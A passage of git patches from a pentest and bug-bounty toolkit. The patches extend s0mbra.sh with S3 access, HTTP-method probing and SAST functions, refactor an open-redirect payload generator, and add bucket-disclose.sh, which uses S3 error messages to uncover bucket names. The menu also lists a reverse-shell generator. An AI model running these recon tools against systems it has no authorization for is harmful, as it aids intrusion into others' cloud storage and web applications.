READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" From 920ae2ff63c7411ebba527d6223faad9ba672026 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 31 May 2022 00:30:13 +0100 Subject: [PATCH 140/289] [s0mbra] rename s3go to s3get --- s0mbra.sh | 30 ++++++++++++++++++++++++++---- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1e80640..d84e87f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -487,7 +487,8 @@ s3() { echo -e "\n$BLUE[s0mbra] Done." } -s3go() { +# downloads file from S3 directory +s3get() { clear echo -e "$BLUE[s0mbra] Getting $2 from $1 bucket...$CLR" @@ -507,7 +508,28 @@ s3go() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# uploads file to S3 directory +s3gput() { + clear + echo -e "$BLUE[s0mbra] Uploading $2 to $1...$CLR" + + # aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null + # if [[ "$?" == 0 ]]; then + # echo -e "\n$GREEN+ We can read ACL of $3$CLR" + # elif [[ "$?" != 0 ]]; then + # echo -e "\n$RED- can't check $2 ACL... :/$CLR" + # fi + + # aws s3api get-object --bucket "$1" --key "$2" "$1".downloaded 2> /dev/null + # if [[ "$?" == 0 ]]; then + # echo -e "\n$GREEN+ $2 downloaded in current directory as $2.downloaded$CLR" + # elif [[ "$?" != 0 ]]; then + # echo -e "\n$RED- can't get $2 :/$CLR" + # fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} +# Lists content of the folder on S3 bucket s3ls() { clear echo -e "$BLUE[s0mbra] Listing $2 folder on $1 bucket...$CLR" @@ -773,8 +795,8 @@ case "$cmd" in apifuzz) api_fuzz "$2" "$3" ;; - s3go) - s3go "$2" "$3" + s3get) + s3get "$2" "$3" ;; s3ls) s3ls "$2" "$3" @@ -797,7 +819,7 @@ case "$cmd" in echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$CYAN s3get $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$CYAN s3ls $GRAY[bucket] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [bucket] - requires READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" From 651f096817cd81c1632f24a053f81873985de4cf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 3 Jun 2022 22:02:36 +0100 Subject: [PATCH 141/289] [s0mbra] menu update --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d84e87f..72e4ebc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -827,7 +827,6 @@ case "$cmd" in echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" From fe1efd4622273f9c7add9c8c6988148248a90945 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Jun 2022 12:18:59 +0100 Subject: [PATCH 142/289] [redirgen.py] Refactoring (in progress) --- redir_gen/redirgen.py | 29 ++++++++++++++++++++++------- 1 file changed, 22 insertions(+), 7 deletions(-) diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py index e1116a4..80c458f 100755 --- a/redir_gen/redirgen.py +++ b/redir_gen/redirgen.py @@ -3,12 +3,30 @@ import re import argparse +import string + + +def generate(payload, target, dest, param=None) -> str: + ''' + generates and returns single payload + ''' + payload = payload.rstrip() + payload = re.sub("TARGET", target, payload) + payload = re.sub("DEST", dest, payload) + # if param: + # payload = re.sub("PARAM", param, payload) + return payload + parser = argparse.ArgumentParser() -parser.add_argument("--target", "-t", action="store", help="Enter the target address", required=True) +parser.add_argument("--target", "-t", action="store", + help="Enter the target address", required=True) parser.add_argument("--dest", "-d", action="store", help="Enter the address where you want to redirect to", required=True) -parser.add_argument("--output", "-o", action="store", help="Enter output file name") +parser.add_argument("--output", "-o", action="store", + help="Enter output file name") +# parser.add_argument("--param", "-p", action="store", +# help="Vulnerable parameter") args = parser.parse_args() payloads = [] @@ -17,17 +35,14 @@ junk = re.compile(r"https?://") target = junk.sub("", args.target) dest = junk.sub("", args.dest) - with open("payloads.txt", "r") as handle: templates = handle.readlines() for payload in templates: - payload = payload.rstrip() - payload = re.sub("TARGET", target, payload) - payload = re.sub("DEST", dest, payload) + payload = generate(payload, target, dest) print(payload) payloads.append(payload) if args.output: with open(args.output, "w")as handle: - [handle.write(f"{x.rstrip()}\n") for x in payloads] \ No newline at end of file + [handle.write(f"{x.rstrip()}\n") for x in payloads] From 486bb2246a45b0fa31d1426b00f195dd2d716272 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Jun 2022 20:00:54 +0100 Subject: [PATCH 143/289] [s0mbra] Menu improvements --- s0mbra.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 72e4ebc..fb71b1d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -836,12 +836,11 @@ case "$cmd" in echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: SOURCE CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" - echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 7ccc3914e905c7dd22dac369be32f8d05f20abaf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 10 Jun 2022 17:43:32 +0100 Subject: [PATCH 144/289] [s0mbra] methods command to enumerate available HTTP methods on web server --- s0mbra.sh | 60 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 59 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index fb71b1d..2b81bd2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -685,6 +685,60 @@ get() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# enumerates available HTTP methods on host +methods() { + METHODS=( + OPTIONS + GET + HEAD + POST + PUT + DELETE + TRACE + PURGE + CONNECT + PROPFIND + PROPPATCH + MKCOL + COPY + MOVE + LOCK + UNLOCK + VERSION-CONTROL + REPORT + CHECKOUT + CHECKIN + UNCHECKOUT + MKWORKSPACE + UPDATE + LABEL + MERGE + BASELINE-CONTROL + MKACTIVITY + ORDERPATCH + ACL + PATCH + SEARCH + ARBITRARY + BIND + LINK + MKCALENDAR + MKREDIRECTREF + PRI + QUERY + REBIND + UNBIND + UNLINK + UPDATEREDIRECTREF) + echo -e "$BLUE[s0mbra] Enumerate available HTTP methods on $1...$CLR" + for HTTP_METHOD in "${METHODS[@]}"; do + echo -e "$YELLOW[s0mbra] Executing $HTTP_METHOD / HTTP/1.1...$CLR" + curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 + echo + done + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + ### menu cmd=$1 clear @@ -789,6 +843,9 @@ case "$cmd" in get) get "$2" ;; + methods) + methods "$2" + ;; endpoints) endpoints "$2" "$3" ;; @@ -811,8 +868,9 @@ case "$cmd" in echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" + echo -e "$CYAN methods $GRAY[HOST]$CLR\t\t\t\t\t -> enumerates HTTP methods on HOST" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From e66bfa22672e0ce1d3b98a2c4ce3ff34c665cfbd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 11 Jun 2022 22:04:05 +0100 Subject: [PATCH 145/289] [redirgen] Refactoring --- redir_gen/redirgen.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py index 80c458f..fe69c5a 100755 --- a/redir_gen/redirgen.py +++ b/redir_gen/redirgen.py @@ -3,7 +3,6 @@ import re import argparse -import string def generate(payload, target, dest, param=None) -> str: @@ -18,6 +17,14 @@ def generate(payload, target, dest, param=None) -> str: return payload +def save_output(output: str) -> None: + ''' + Saves output to file defined as out param + ''' + with open(output, "w") as handle: + [handle.write(f"{x.rstrip()}\n") for x in payloads] + + parser = argparse.ArgumentParser() parser.add_argument("--target", "-t", action="store", help="Enter the target address", required=True) @@ -44,5 +51,4 @@ def generate(payload, target, dest, param=None) -> str: payloads.append(payload) if args.output: - with open(args.output, "w")as handle: - [handle.write(f"{x.rstrip()}\n") for x in payloads] + save_output(args.output) From 106fb41ac931fadf4f45f5b92bee6c35270d98e1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 12 Jun 2022 09:35:26 +0100 Subject: [PATCH 146/289] [redirgen] Refactoring --- redir_gen/redirgen.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py index fe69c5a..7f4d643 100755 --- a/redir_gen/redirgen.py +++ b/redir_gen/redirgen.py @@ -12,8 +12,8 @@ def generate(payload, target, dest, param=None) -> str: payload = payload.rstrip() payload = re.sub("TARGET", target, payload) payload = re.sub("DEST", dest, payload) - # if param: - # payload = re.sub("PARAM", param, payload) + if param: + payload = re.sub("PARAM", param, payload) return payload @@ -32,8 +32,8 @@ def save_output(output: str) -> None: required=True) parser.add_argument("--output", "-o", action="store", help="Enter output file name") -# parser.add_argument("--param", "-p", action="store", -# help="Vulnerable parameter") +parser.add_argument("--param", "-p", action="store", + help="Vulnerable parameter") args = parser.parse_args() payloads = [] @@ -46,7 +46,7 @@ def save_output(output: str) -> None: templates = handle.readlines() for payload in templates: - payload = generate(payload, target, dest) + payload = generate(payload, target, dest, args.param) print(payload) payloads.append(payload) From ab4d46117ec562109f27396f64fe4b295a50a491 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 13 Jun 2022 21:40:56 +0100 Subject: [PATCH 147/289] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4eec1a7..ba52965 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ security-tools ============== -Collection of simple security tools created in Python. +Small security related tools created in Python and Bash for CTF players, bug bounty hunters, pentesters and developers. From bf6a234d2e10400dc422197fc499e31981004c2e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 25 Jun 2022 13:42:39 +0100 Subject: [PATCH 148/289] [bucket-disclose.sh] Forked from Frans Rosen Gist --- bucket-disclose.sh | 217 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 217 insertions(+) create mode 100755 bucket-disclose.sh diff --git a/bucket-disclose.sh b/bucket-disclose.sh new file mode 100755 index 0000000..b9c0e09 --- /dev/null +++ b/bucket-disclose.sh @@ -0,0 +1,217 @@ +#!/bin/bash + +# Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, +# streaming and index listing as ways of figure it out. You do need a valid aws-key +# (never the secret) to properly get the error messages + +#### FORKED FROM https://gist.github.com/bl4de/35d5831e6eb4a29fe40626efbea7818e +#### Written by Frans Rosén (twitter.com/fransrosen) + + +_debug="$2" #turn on debug +_timeout="20" +#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key +_aws_key=$AWS_KEY + +echo $_aws_key + +H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3" +H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36" + +_log_file="./bucket-disclose.log" +_sed_bin=$(which gsed) +if [ "${_sed_bin}" == "" ]; then + _sed_bin=$(which sed) +fi + +_timeout_bin=$(which gtimeout) +if [ "${_timeout_bin}" == "" ]; then + _timeout_bin=$(which timeout) +fi + +r=$(echo "$1" | ${_sed_bin} -E 's/^[a-z]+:\/\///') #raw but without protocol +d=$(echo "$r" | cut -d "/" -f 1) #domain +pr=$(echo "$1" | ${_sed_bin} -E 's/(^[a-z]+:\/\/)?.*/\1/') #protocol, could be empty, use http if so +if [ "$pr" == "" ]; then pr="http://"; fi +pd="${pr}${d}" #protocol and domain always and only +u=$(echo "$1") #full url +p="${pr}$(echo "${r}" | rev | cut -d "/" -f 2- | rev)" # path without trailing slash (will be weird when bucket is in dir, but will be found later on) + +result() { + echo "$1" >> $_log_file + [ "$1" != "" ] && echo "$1" && exit 0; +} + +debug() { + echo "* $1" >> $_log_file + [ "$_debug" != "" ] && echo "* $1" +} + +is_bucket_already() { + _no_protocol=$(echo "$1" | ${_sed_bin} -E 's/^[a-z]+:\/\///') # function is reused after, make sure we clean up proto + _comp=$(echo "${_no_protocol}" | grep -vE "^[^:]*s3[^:]+amazonaws.*") #check if domain contains s3.*amazonaws.com + if [ "${_comp}" == "" ]; then + result $(echo "${_no_protocol}" | grep -E '^s3.*amazon[^/]+\/.*' | cut -d "/" -f 2) + result $(echo "${_no_protocol}" | grep -E '^[^:]+.s3.*amazon.*' | ${_sed_bin} -E 's/^([^\:]+).s3[^:]+amazon.*$/\1/'); + fi +} + +is_bucket() { + debug "checking if bucket: ${1}..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}" -sL -D- --insecure --max-time 5 | \ + grep -iE "^x-amz-error-code|^server: amazons3|AccessDenied|Code: AccessDenied|NoSuchKey") +} + +is_bucket_soap() { + debug "checking if bucket using soap... ${1}/soap" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/soap" -X POST -sL -D- --insecure --max-time 5 | \ + grep ">Missing SOAPAction header<") +} + +is_bucket_invalid_char() { + debug "checking if bucket using invalid char: ${1}/%83..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/%83" -sL -D- --insecure --max-time 5 | \ + grep -iE "InvalidURI|Code: InvalidURI|NoSuchKey") +} + +is_bucket_invalid_method() { + debug "checking if bucket using invalid method... ${1}/xyz" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/xyz" -X POSTX -sL -D- --insecure --max-time 5 | \ + grep "BadRequest") + if [ "${_response}" != "" ]; then + _response="${1}/xyz" + else + _response="" + fi +} + +is_bucket_listable() { + debug "checking if bucket is listable... ${1}/?abc" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "${1}/?abc" --insecure --max-time 5 | \ + grep "[^<]+" | cut -d ">" -f 2 | cut -d "<" -f 1) +} + +is_bucket_domain() { + debug "checking if domain exists as bucket: http://${1}.s3.amazonaws.com..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "http://${1}.s3.amazonaws.com" -sL --insecure --max-time 5 | grep -E "ListBucketResult|AccessDenied|PermanentRedirect") +} + +is_bucket_redirectable() { + debug "checking if url redirects to bucket... ${1}/xyzadad" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "$1/xyzadad" -D- | grep -i "^location:" | grep amazonaws | cut -d " " -f 2) + _response=$(is_bucket_already "${_response}") #remove s3-domain stuff +} + +is_redirecting() { + debug "check if URL redirects to other domain... ${1}" + _response=$(curl -Ls -o /dev/null -H "${H_ACCEPT}" -H "${H_AGENT}" -w %{url_effective} "${1}") + _od=$(echo "${1}" | ${_sed_bin} -E 's/^[a-z]+:\/\///' | cut -d "/" -f 1) + _rd=$(echo "${_response}" | ${_sed_bin} -E 's/^[a-z]+:\/\///' | cut -d "/" -f 1) + if [ "${_od}" == "${_rd}" ]; then + _response="" + fi +} + +bucket_unicode_sign_error() { + debug "checking unicode-error... ${1}/åäö" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "${1}/åäö" --insecure --max-time 5 | grep "host:" | grep "amazonaws.com" | cut -d ":" -f 2) + _response=$(is_bucket_already "${_response}") #remove s3-domain stuff +} + +bucket_post_sign_error() { + debug "checking post-error... ${1}/okok?456" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?456" -H "Authorization: AWS ${_aws_key}:x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_get_sign_error() { + debug "checking get-error... ${1}/okok?AWSAccessKey..." + _response=$(${_timeout_bin} ${_timeout} curl -X GET -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?AWSAccessKeyId=${_aws_key}&Expires=$(expr $(date +%s) + 1000)&Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_put_sign_error() { + debug "checking put-error... ${1}/okok?AWSAccessKey..." + _response=$(${_timeout_bin} ${_timeout} curl -X PUT -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?AWSAccessKeyId=${_aws_key}&Expires=$(expr $(date +%s) + 1000)&Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_multipart_sign_error() { + debug "checking multipart-error... ${1}/?789" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" --form "d=x" -X POST "${1}/?789" \ + -H "Authorization: AWS ${_aws_key}:x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_streaming_sign_error() { + debug "checking streaming sign-error... ${1}/ioioio?987" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/ioio?987" -sL -H \ + "Authorization: AWS4-HMAC-SHA256 Credential=${_aws_key}/20180101/ap-south-1/s3/aws4_request,SignedHeaders=date;host;x-amz-acl;x-amz-content-sha256;x-amz-date,Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -H \ + "x-amz-content-sha256: STREAMING-AWS4-HMAC-SHA256-PAYLOAD" | grep "" -A 1 | tail -n 1 | cut -d "/" -f 2) +} + +change_bucket_location() { + debug "changing location of bucket... ${1}" + p="$1" + _response="1" +} + +> $_log_file +debug "start checking... ${u}" +is_bucket_already "${r}" +is_bucket "${pd}" +[ "${_response}" == "" ] && is_bucket_soap "${pd}" +_is_root_bucket="${_response}" +_bucket_location="" + +if [ "${_is_root_bucket}" != "" ]; then + _bucket_location="${pd}" +else + is_bucket_soap "${p}" + [ "${_response}" == "" ] && is_bucket "${p}" + [ "${_response}" == "" ] && is_bucket "${p}/xyzabc" && change_bucket_location "${p}/xyzabc" + [ "${_response}" == "" ] && is_bucket_invalid_method "${p}" + [ "${_response}" == "" ] && is_bucket_invalid_char "${p}" + + if [ "${_response}" != "" ]; then + _bucket_location="${p}" + fi +fi + +if [ "${_bucket_location}" != "" ]; then + debug "bucket-location: ${_bucket_location}" + bucket_unicode_sign_error "${_bucket_location}" + result "${_response}" + bucket_streaming_sign_error "${_bucket_location}" + result "${_response}" + bucket_get_sign_error "${_bucket_location}" + result "${_response}" + bucket_post_sign_error "${_bucket_location}" + result "${_response}" + bucket_put_sign_error "${_bucket_location}" + result "${_response}" + bucket_multipart_sign_error "${_bucket_location}" #this one can bug out with fastly, since host is being different when POST + result "${_response}" + is_bucket_listable "${_bucket_location}" + result "${_response}" + is_bucket_redirectable "${_bucket_location}" + result "${_response}" +fi + +#if [ "${_is_root_bucket}" ]; then +is_bucket_domain "${d}" +[ "${_response}" != "" ] && result "${d}" +#fi + +is_redirecting "${pr}${r}" +[ "${_response}" != "" ] && bash $0 "${_response}" "$2" || debug "location is not a bucket: ${pr}${r} (${_bucket_location})" && exit 1 + +exit 0 From dbeaef95a4f8f059c6a3a54403c0a617e89620f3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 25 Jun 2022 13:53:34 +0100 Subject: [PATCH 149/289] [s0mbra] added bucket-disclose to AWS toolset --- bucket-disclose.sh | 2 -- s0mbra.sh | 18 +++++++++++++++--- 2 files changed, 15 insertions(+), 5 deletions(-) diff --git a/bucket-disclose.sh b/bucket-disclose.sh index b9c0e09..b0d834d 100755 --- a/bucket-disclose.sh +++ b/bucket-disclose.sh @@ -13,8 +13,6 @@ _timeout="20" #you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key _aws_key=$AWS_KEY -echo $_aws_key - H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3" H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36" diff --git a/s0mbra.sh b/s0mbra.sh index 2b81bd2..ac988c4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -537,6 +537,14 @@ s3ls() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# Lists content of the folder on S3 bucket +discloS3() { + clear + echo -e "$BLUE[s0mbra] Execute bucket-disclose.sh against $1...$CLR" + bucket-disclose $1 DEBUG + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # coverts .dex file to .jar archive dex_to_jar() { clear @@ -858,6 +866,9 @@ case "$cmd" in s3ls) s3ls "$2" "$3" ;; + discloS3) + discloS3 "$2" + ;; generate_shells) generate_shells "$2" "$3" ;; @@ -876,9 +887,10 @@ case "$cmd" in echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "$CYAN s3get $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "$CYAN s3ls $GRAY[bucket] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [bucket] - requires READ permissions (check with s3)" + echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> runs bucket-disclose.sh against [URL]" + echo -e "$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [BUCKET]" + echo -e "$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [BUCKET] - requires READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" From 755c1df8066f307ac072826b54c80e543c065734 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 26 Jun 2022 18:16:37 +0100 Subject: [PATCH 150/289] [s0mbra] added graudit to SAST tools --- s0mbra.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index ac988c4..51b085f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -432,6 +432,9 @@ pysast() { echo -e "\n$BLUE[s0mbra] Running vulture against $DIR_NAME $CLR\n" python3 -m vulture $DIR_NAME + echo -e "\n$BLUE[s0mbra] Running graudit against $DIR_NAME $CLR\n" + graudit $1 + echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -588,6 +591,7 @@ php_sast() { clear echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" phpcs --colors -vs $1 + graudit $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 